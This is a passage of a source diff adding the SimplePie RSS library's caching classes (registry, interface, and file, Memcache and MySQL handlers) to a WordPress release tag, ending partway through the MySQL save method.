+		'memcache' => 'SimplePie_Cache_Memcache',
+	);
+
+	/**
+	 * Don't call the constructor. Please.
+	 */
+	private function __construct() { }
+
+	/**
+	 * Create a new SimplePie_Cache object
+	 *
+	 * @param string $location URL location (scheme is used to determine handler)
+	 * @param string $filename Unique identifier for cache object
+	 * @param string $extension 'spi' or 'spc'
+	 * @return SimplePie_Cache_Base Type of object depends on scheme of `$location`
+	 */
+	public static function get_handler($location, $filename, $extension)
+	{
+		$type = explode(':', $location, 2);
+		$type = $type[0];
+		if (!empty(self::$handlers[$type]))
+		{
+			$class = self::$handlers[$type];
+			return new $class($location, $filename, $extension);
+		}
+
+		return new SimplePie_Cache_File($location, $filename, $extension);
+	}
+
+	/**
+	 * Create a new SimplePie_Cache object
+	 *
+	 * @deprecated Use {@see get_handler} instead
+	 */
+	public function create($location, $filename, $extension)
+	{
+		trigger_error('Cache::create() has been replaced with Cache::get_handler(). Switch to the registry system to use this.', E_USER_DEPRECATED);
+		return self::get_handler($location, $filename, $extension);
+	}
+
+	/**
+	 * Register a handler
+	 *
+	 * @param string $type DSN type to register for
+	 * @param string $class Name of handler class. Must implement SimplePie_Cache_Base
+	 */
+	public static function register($type, $class)
+	{
+		self::$handlers[$type] = $class;
+	}
+
+	/**
+	 * Parse a URL into an array
+	 *
+	 * @param string $url
+	 * @return array
+	 */
+	public static function parse_URL($url)
+	{
+		$params = parse_url($url);
+		$params['extras'] = array();
+		if (isset($params['query']))
+		{
+			parse_str($params['query'], $params['extras']);
+		}
+		return $params;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Cache/Base.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Cache/Base.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Cache/Base.php	(revision 56912)
@@ -0,0 +1,114 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Base for cache objects
+ *
+ * Classes to be used with {@see SimplePie_Cache::register()} are expected
+ * to implement this interface.
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+interface SimplePie_Cache_Base
+{
+	/**
+	 * Feed cache type
+	 *
+	 * @var string
+	 */
+	const TYPE_FEED = 'spc';
+
+	/**
+	 * Image cache type
+	 *
+	 * @var string
+	 */
+	const TYPE_IMAGE = 'spi';
+
+	/**
+	 * Create a new cache object
+	 *
+	 * @param string $location Location string (from SimplePie::$cache_location)
+	 * @param string $name Unique ID for the cache
+	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
+	 */
+	public function __construct($location, $name, $type);
+
+	/**
+	 * Save data to the cache
+	 *
+	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
+	 * @return bool Successfulness
+	 */
+	public function save($data);
+
+	/**
+	 * Retrieve the data saved to the cache
+	 *
+	 * @return array Data for SimplePie::$data
+	 */
+	public function load();
+
+	/**
+	 * Retrieve the last modified time for the cache
+	 *
+	 * @return int Timestamp
+	 */
+	public function mtime();
+
+	/**
+	 * Set the last modified time to the current time
+	 *
+	 * @return bool Success status
+	 */
+	public function touch();
+
+	/**
+	 * Remove the cache
+	 *
+	 * @return bool Success status
+	 */
+	public function unlink();
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Cache/DB.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Cache/DB.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Cache/DB.php	(revision 56912)
@@ -0,0 +1,137 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Base class for database-based caches
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+abstract class SimplePie_Cache_DB implements SimplePie_Cache_Base
+{
+	/**
+	 * Helper for database conversion
+	 *
+	 * Converts a given {@see SimplePie} object into data to be stored
+	 *
+	 * @param SimplePie $data
+	 * @return array First item is the serialized data for storage, second item is the unique ID for this item
+	 */
+	protected static function prepare_simplepie_object_for_cache($data)
+	{
+		$items = $data->get_items();
+		$items_by_id = array();
+
+		if (!empty($items))
+		{
+			foreach ($items as $item)
+			{
+				$items_by_id[$item->get_id()] = $item;
+			}
+
+			if (count($items_by_id) !== count($items))
+			{
+				$items_by_id = array();
+				foreach ($items as $item)
+				{
+					$items_by_id[$item->get_id(true)] = $item;
+				}
+			}
+
+			if (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]))
+			{
+				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0];
+			}
+			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]))
+			{
+				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0];
+			}
+			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]))
+			{
+				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0];
+			}
+			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0]))
+			{
+				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0];
+			}
+			else
+			{
+				$channel = null;
+			}
+
+			if ($channel !== null)
+			{
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']);
+				}
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']);
+				}
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']);
+				}
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']);
+				}
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']);
+				}
+			}
+			if (isset($data->data['items']))
+			{
+				unset($data->data['items']);
+			}
+			if (isset($data->data['ordered_items']))
+			{
+				unset($data->data['ordered_items']);
+			}
+		}
+		return array(serialize($data->data), $items_by_id);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Cache/File.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Cache/File.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Cache/File.php	(revision 56912)
@@ -0,0 +1,173 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Caches data to the filesystem
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+class SimplePie_Cache_File implements SimplePie_Cache_Base
+{
+	/**
+	 * Location string
+	 *
+	 * @see SimplePie::$cache_location
+	 * @var string
+	 */
+	protected $location;
+
+	/**
+	 * Filename
+	 *
+	 * @var string
+	 */
+	protected $filename;
+
+	/**
+	 * File extension
+	 *
+	 * @var string
+	 */
+	protected $extension;
+
+	/**
+	 * File path
+	 *
+	 * @var string
+	 */
+	protected $name;
+
+	/**
+	 * Create a new cache object
+	 *
+	 * @param string $location Location string (from SimplePie::$cache_location)
+	 * @param string $name Unique ID for the cache
+	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
+	 */
+	public function __construct($location, $name, $type)
+	{
+		$this->location = $location;
+		$this->filename = $name;
+		$this->extension = $type;
+		$this->name = "$this->location/$this->filename.$this->extension";
+	}
+
+	/**
+	 * Save data to the cache
+	 *
+	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
+	 * @return bool Successfulness
+	 */
+	public function save($data)
+	{
+		if (file_exists($this->name) && is_writeable($this->name) || file_exists($this->location) && is_writeable($this->location))
+		{
+			if ($data instanceof SimplePie)
+			{
+				$data = $data->data;
+			}
+
+			$data = serialize($data);
+			return (bool) file_put_contents($this->name, $data);
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the data saved to the cache
+	 *
+	 * @return array Data for SimplePie::$data
+	 */
+	public function load()
+	{
+		if (file_exists($this->name) && is_readable($this->name))
+		{
+			return unserialize(file_get_contents($this->name));
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the last modified time for the cache
+	 *
+	 * @return int Timestamp
+	 */
+	public function mtime()
+	{
+		if (file_exists($this->name))
+		{
+			return filemtime($this->name);
+		}
+		return false;
+	}
+
+	/**
+	 * Set the last modified time to the current time
+	 *
+	 * @return bool Success status
+	 */
+	public function touch()
+	{
+		if (file_exists($this->name))
+		{
+			return touch($this->name);
+		}
+		return false;
+	}
+
+	/**
+	 * Remove the cache
+	 *
+	 * @return bool Success status
+	 */
+	public function unlink()
+	{
+		if (file_exists($this->name))
+		{
+			return unlink($this->name);
+		}
+		return false;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Cache/Memcache.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Cache/Memcache.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Cache/Memcache.php	(revision 56912)
@@ -0,0 +1,183 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Caches data to memcache
+ *
+ * Registered for URLs with the "memcache" protocol
+ *
+ * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will
+ * connect to memcache on `localhost` on port 11211. All tables will be
+ * prefixed with `sp_` and data will expire after 3600 seconds
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ * @uses Memcache
+ */
+class SimplePie_Cache_Memcache implements SimplePie_Cache_Base
+{
+	/**
+	 * Memcache instance
+	 *
+	 * @var Memcache
+	 */
+	protected $cache;
+
+	/**
+	 * Options
+	 *
+	 * @var array
+	 */
+	protected $options;
+
+	/**
+	 * Cache name
+	 *
+	 * @var string
+	 */
+	protected $name;
+
+	/**
+	 * Create a new cache object
+	 *
+	 * @param string $location Location string (from SimplePie::$cache_location)
+	 * @param string $name Unique ID for the cache
+	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
+	 */
+	public function __construct($location, $name, $type)
+	{
+		$this->options = array(
+			'host' => '127.0.0.1',
+			'port' => 11211,
+			'extras' => array(
+				'timeout' => 3600, // one hour
+				'prefix' => 'simplepie_',
+			),
+		);
+		$parsed = SimplePie_Cache::parse_URL($location);
+		$this->options['host'] = empty($parsed['host']) ? $this->options['host'] : $parsed['host'];
+		$this->options['port'] = empty($parsed['port']) ? $this->options['port'] : $parsed['port'];
+		$this->options['extras'] = array_merge($this->options['extras'], $parsed['extras']);
+		$this->name = $this->options['extras']['prefix'] . md5("$name:$type");
+
+		$this->cache = new Memcache();
+		$this->cache->addServer($this->options['host'], (int) $this->options['port']);
+	}
+
+	/**
+	 * Save data to the cache
+	 *
+	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
+	 * @return bool Successfulness
+	 */
+	public function save($data)
+	{
+		if ($data instanceof SimplePie)
+		{
+			$data = $data->data;
+		}
+		return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
+	}
+
+	/**
+	 * Retrieve the data saved to the cache
+	 *
+	 * @return array Data for SimplePie::$data
+	 */
+	public function load()
+	{
+		$data = $this->cache->get($this->name);
+
+		if ($data !== false)
+		{
+			return unserialize($data);
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the last modified time for the cache
+	 *
+	 * @return int Timestamp
+	 */
+	public function mtime()
+	{
+		$data = $this->cache->get($this->name);
+
+		if ($data !== false)
+		{
+			// essentially ignore the mtime because Memcache expires on it's own
+			return time();
+		}
+
+		return false;
+	}
+
+	/**
+	 * Set the last modified time to the current time
+	 *
+	 * @return bool Success status
+	 */
+	public function touch()
+	{
+		$data = $this->cache->get($this->name);
+
+		if ($data !== false)
+		{
+			return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->duration);
+		}
+
+		return false;
+	}
+
+	/**
+	 * Remove the cache
+	 *
+	 * @return bool Success status
+	 */
+	public function unlink()
+	{
+		return $this->cache->delete($this->name, 0);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Cache/MySQL.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Cache/MySQL.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Cache/MySQL.php	(revision 56912)
@@ -0,0 +1,438 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Caches data to a MySQL database
+ *
+ * Registered for URLs with the "mysql" protocol
+ *
+ * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
+ * connect to the `mydb` database on `localhost` on port 3306, with the user
+ * `root` and the password `password`. All tables will be prefixed with `sp_`
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+class SimplePie_Cache_MySQL extends SimplePie_Cache_DB
+{
+	/**
+	 * PDO instance
+	 *
+	 * @var PDO
+	 */
+	protected $mysql;
+
+	/**
+	 * Options
+	 *
+	 * @var array
+	 */
+	protected $options;
+
+	/**
+	 * Cache ID
+	 *
+	 * @var string
+	 */
+	protected $id;
+
+	/**
+	 * Create a new cache object
+	 *
+	 * @param string $location Location string (from SimplePie::$cache_location)
+	 * @param string $name Unique ID for the cache
+	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
+	 */
+	public function __construct($location, $name, $type)
+	{
+		$this->options = array(
+			'user' => null,
+			'pass' => null,
+			'host' => '127.0.0.1',
+			'port' => '3306',
+			'path' => '',
+			'extras' => array(
+				'prefix' => '',
+			),
+		);
+		$this->options = array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));
+
+		// Path is prefixed with a "/"
+		$this->options['dbname'] = substr($this->options['path'], 1);
+
+		try
+		{
+			$this->mysql = new PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'));
+		}
+		catch (PDOException $e)
+		{
+			$this->mysql = null;
+			return;
+		}
+
+		$this->id = $name . $type;
+
+		if (!$query = $this->mysql->query('SHOW TABLES'))
+		{
+			$this->mysql = null;
+			return;
+		}
+
+		$db = array();
+		while ($row = $query->fetchColumn())
+		{
+			$db[] = $row;
+		}
+
+		if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db))
+		{
+			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
+			if ($query === false)
+			{
+				$this->mysql = null;
+			}
+		}
+
+		if (!in_array($this->options['extras']['prefix'] . 'items', $db))
+		{
+			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` TEXT CHARACTER SET utf8 NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
+			if ($query === false)
+			{
+				$this->mysql = null;
+			}
+		}
+	}
+
+	/**
+	 * Save data to the cache
+	 *
+	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
+	 * @return bool Successfulness
+	 */
+	public function save($data)
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		if ($data instanceof SimplePie)
+		{
+			$data = clone $data;
+
+			$prepared = self::prepare_simplepie_object_for_cache($data);
+
+			$query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
+			$query->bindValue(':feed', $this->id);
+			if ($query->execute())
+			{
+				if ($query->fetchColumn() > 0)
+				{
+					$items = count($prepared[1]);
+					if ($items)
+					{
+						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
+						$query = $this->mysql->prepare($sql);
+						$query->bindValue(':items', $items);
+					}
+					else
+					{
+						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
+						$query = $this->mysql->prepare($sql);
+					}
+
+					$query->bindValue(':data', $prepared[0]);
+					$query->bindValue(':time', time());
+					$query->bindValue(':feed', $this->id);
+					if (!$query->execute())
+					{
+						return false;
+					}
+				}
+				else
+				{
+					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
+					$query->bindValue(':feed', $this->id);
+					$query->bindValue(':count', count($prepared[1]));
+					$query->bindValue(':data', $prepared[0]);
+					$query->bindValue(':time', time());
+					if (!$query->execute())
+					{
+						return false;
+					}
+				}
+
+				$ids = array_keys($prepared[1]);
+				if (!empty($ids))
+				{
+					foreach ($ids as $id)
+					{
+						$database_ids[] = $this->mysql->quote($id);
+					}
+
+					$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
+					$query->bindValue(':feed', $this->id);
+
+					if ($query->execute())
+					{
+						$existing_ids = array();
+						while ($row = $query->fetchColumn())
+						{
+							$existing_ids[] = $row;
+						}
+
+						$new_ids = array_diff($ids, $existing_ids);
+
+						foreach ($new_ids as $new_id)
+						{
+							if (!($date = $prepared[1][$new_id]->get_date('U')))
+							{
+								$date = time();
+							}
+
+							$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
+							$query->bindValue(':feed', $this->id);
+							$query->bindValue(':id', $new_id);
+							$query->bindValue(':data', serialize($prepared[1][$new_id]->data));
+							$query->bindValue(':date', $date);
+							if (!$query->execute())
+							{
+								return false;
+							}
+						}
+						return true;
+					}
+				}
+				else
+				{
+					return true;
+				}
+			}
+		}
+		else
+		{
+			$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
+			$query->bindValue(':feed', $this->id);
+			if ($query->execute())
+			{
+				if ($query->rowCount() > 0)
+				{
